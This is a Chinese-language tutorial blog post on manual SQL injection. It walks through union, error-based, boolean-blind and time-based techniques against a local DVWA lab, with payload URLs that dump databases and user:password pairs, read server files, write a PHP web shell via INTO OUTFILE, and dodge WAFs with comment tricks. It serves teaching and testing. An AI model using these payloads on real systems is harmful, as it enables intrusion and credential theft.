【web安全】第六彈:手工SQL注入詳解


前一段時間,在對SQL注入有了新的理解之后,寫了這篇文章。本來准備投稿,因為內容過於基礎被打回來了,想想屯着也沒意思,發出來發出來~~本來有好多圖的,但是博客園發圖很麻煩,word文檔的鏈接會貼在文章最后面,有興趣的可以下載下來看。

 

注:本文目標讀者是對SQL注入有一定了解,能使用一些工具(SQLMAP、pangolin等)進行自動化SQL注入測試,又想了解工具原理和SQL注入原理的童鞋。

0x00 基礎理論篇

 

0x01 注入技巧&基本模式:

首先,要對下面的一些函數和基本語句有一定的了解。

1. 普通的union select:

select * from user where id='12' union select 1,2,3,4 from fabiao#+'.js

2. and select:

URL and (select count(username)from admin)>0   //猜解數據庫列名,還可以猜解數據類型

URL and (select length(username) from admin limit 1)>0  //猜解數據庫列名長度:修改后面的>0是猜解長度 

URL and (select top 1 ascii(substring(username 1,1)) from admin)>0 //猜解內容:猜解出的內容需對應ASCII表,ascii、substring為MySQL的函數,MsSQL略有不同

3. 基於時間的盲注:

URL union select 1,benchmark(1000000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97

URL union select if(substring(Password,1,1)='a',benchmark(10000000,sha(1)),0) User,Password from mysql.user where user ='root'

4. 寫入到文件:

mysql> select '<?php echo shell_exec("ifconfig"); ?>' into outfile 'F:/wamp/www/shell.php';  //貌似在頁面編碼為gbk的時候,<>會被轉義為實體編碼,要考慮和文件包含漏洞一起利用

5. 讀取文件:

URL union select 1,LOAD_FILE('E:/wamp/www/test.txt'),2,3,4,5,6--+    //注意mysql 讀寫文件用\的時候要轉義,即E:\\wamp\\www\\test.txt

6. 從數據庫讀取數據 

Mysql > select concat(username,0x3a,password) from admin; 以用戶名:密碼的格式從數據庫讀取數據

URL and ascii(substring(select concat(username,0x3a,password) from admin),1,1)>0

7. 注釋:

針對mysql /*! */

其他數據庫會忽略掉省略符號之間的語句,常用於繞過waf

8. 注入時不需要空格的例子:

select/**/*/**/from/**/user;    //  /**/可以充當空格

 

0x02 高使用率的函數:

concat(str1,str2,str3)    字符串連接

group_concat(DISTINCT column_name)    與group by配合使用,添加distinct后,將不同的column_name連接起來

ascii()    獲取ASCII碼

substring(str,pos,length)  對字符串str,從pos開始,截取length

benchmark(1000000,md5('test')) 在時間盲注中會用到,執行1000000遍md5('test')來起到延時注入的效果

if(condition,true_sentence,false_sentence) 在時間盲注中用到,如果condition成立,執行第二個參數中的語句,否則執行第三個參數中的語句。

 

0x03 判斷用什么方式注入:

看完上面的部分,那么問題來了,有Union注入,也有and注入,還有什么盲注,SQL注入到底哪家強?

判斷方法是介個樣子的。添加單引號'  查看結果:

1. 報錯==>報錯注入 || Union注入 

2. 不報錯,但是頁面信息有變化(屏蔽了錯誤信息)==>基於布爾的盲注 || Union注入

3. 頁面信息無變化==>基於時間的盲注 || Union注入

 

0x04 基於時間的盲注:

基於時間的盲注,是一個小難點。這里來重點講一下。

什么樣的環境下會用到基於時間的盲注?當前執行的語句沒有回顯。

舉例說明:登錄。

$num = select count(*) from user where uid='$uid' and sleep(5)--+ ' and password='$pwd' 

if($num) return 1;

else return 0;

根據數據庫查詢到的數據條數,會有兩種返回值,成功和失敗。在注入的時候,可能由於注入語句的構造不合理造成語法錯誤,返回失敗。也有可能是並不滿足某些條件(比如說 ascii(substring(password,1,1))>80),返回失敗。我只需要第二種返回,但第一種返回會造成干擾。為了區分開,我讓執行正確的語句,延遲幾秒再回來,這樣就區分開了~這就是基於時間的盲注。

同理,還有update,delete等語句的利用,也需要基於時間的盲注,這里不細講,如果有興趣,可以參考http://drops.wooyun.org/tips/2078 《利用insert,update和delete注入獲取數據》

 

0x10 實戰篇

以DVWA系統來進行講解,將安全等級調為最低

 

0x11 MySQL內建數據庫:

當mysq版本大於5.0的時候,會存在一個內建數據庫——information_schema,存了很多數據庫字段、數據表等的相關信息。

其中最常用的數據表是columns,從字面意思上來看,是字段名,但是這張數據表里也存了字段所在表,及所在數據庫的信息。

舉個例子,我要提取所有的數據庫名:

select group_concat(distinct table_schema) from information_schema.columns;

提取 dvwa 數據庫中所有的表名:

select group_concat(distinct table_name) from information_schema.columns where table_schema='DVWA';

 

0x12 報錯注入:

mysql中有三種報錯注入——floor、extractValue、updateXml。僅用extractValue來舉個例子。

提交后,MySQL報錯,按照上面的結論,為報錯注入。

基礎注入語句:and extractvalue(1, concat(0x5c, (  select table_name from information_schema.tables limit 1  )));

1. 爆數據庫

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and 
extractvalue(1, concat(0x5c, (   select table_schema from information_schema.columns group by table_schema limit 2,1      )))--+

可以通過更改注入語句中的limit來爆出不同的數據庫

2. 爆數據表

和爆數據表是一個原理

3. 爆表中字段

XPATH報錯的對長度有一些限制,那還是一個一個的來

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and 
extractvalue(1, concat(0x5c, ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1 )))--+

4. 爆數據

根據上一次爆出的字段信息,去對應的數據表爆數據。這里可以用concat將需要爆的字段連接在一起組團爆出來~~

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and 
extractvalue(1, concat(0x5c, ( select concat(user,0x5c,password) from users limit 1 )))--+

 

0x13 union注入:

個人比較喜歡用union~~union的時候,要求:兩次查詢的列數必須一致。所以要先想辦法知道第一次查詢了多少列~

1. 判斷列數

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1' order by 1 --+

不斷修改order by的數字,直到頁面報錯,或者頁面發生變化,臨界的數字即為列數

注意這個地方的列數,是查詢的列數,而不是數據表的列數。

舉個例子:

select user,password from users     //查詢的列數為2

select * from users                             //查詢的列數==數據表的列數

2. 判斷哪些數據是顯示在頁面上的

因為不是查詢的所有內容都會顯示在頁面上(有一些內容輸出在注釋或者不輸出),為了數據回顯,要看一下哪幾列可以利用。

如果沒有可以用的回顯位置的話,那就不能用union注入了。

3. 爆數據庫(所有的結果都粗來了~):

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1
union select group_concat(DISTINCT table_schema),2 from information_schema.columns --+

 

0x14 基於布爾的盲注:

如果Union注入沒有找到回顯點,錯誤信息又被屏蔽的情況下,就要考慮布爾盲注了。盲注的話,往往需要多次重復。這里僅舉幾個簡單的例子。

1. 基本判斷方法

http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1
and ascii(substring((select password from users limit 1),1,1))>51--+

一位一位的驗證,逐步縮小大小,定位到某一個ASCII值。

 

0x15 基於時間的盲注:

時間盲注應該是最后的選擇,沒有辦法的辦法。因為時間盲注是通過數據庫的delay來判斷是否注入成功,某個條件是否成立的。效率很低,注入的速度也很慢。利用場景在上文中提到了,需要好好體會。本段中的例子並不貼切。

1. 判斷是否存在時間盲注

union形式(如果效果不明顯可以再兩個0): http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' union select 1,benchmark(10000000,md5("test")) --+ 

boolen形式:http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and sleep(5) --+

2. 爆數據庫:

具體過程和布爾型盲注相仿。

 

0x30 文中用到的工具:

Firefox瀏覽器+Hackbar(瀏覽器擴展)

DVWA(開源web滲透測試系統)

參考資料:

http://drops.wooyun.org/tips/2078  利用insert,update和delete注入獲取數據

http://phpinfo.me/2014/01/02/146.html  mysql 3種報錯模式注入

http://drops.wooyun.org/tips/143  sqlmap用戶手冊

 

 

http://www.cnblogs.com/kuoaidebb/p/4570101.html  博客園 - 闊愛的貝貝

DOC文檔:http://files.cnblogs.com/files/kuoaidebb/SQL%E6%B3%A8%E5%85%A5%E5%8D%9A%E5%AE%A2.zip


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM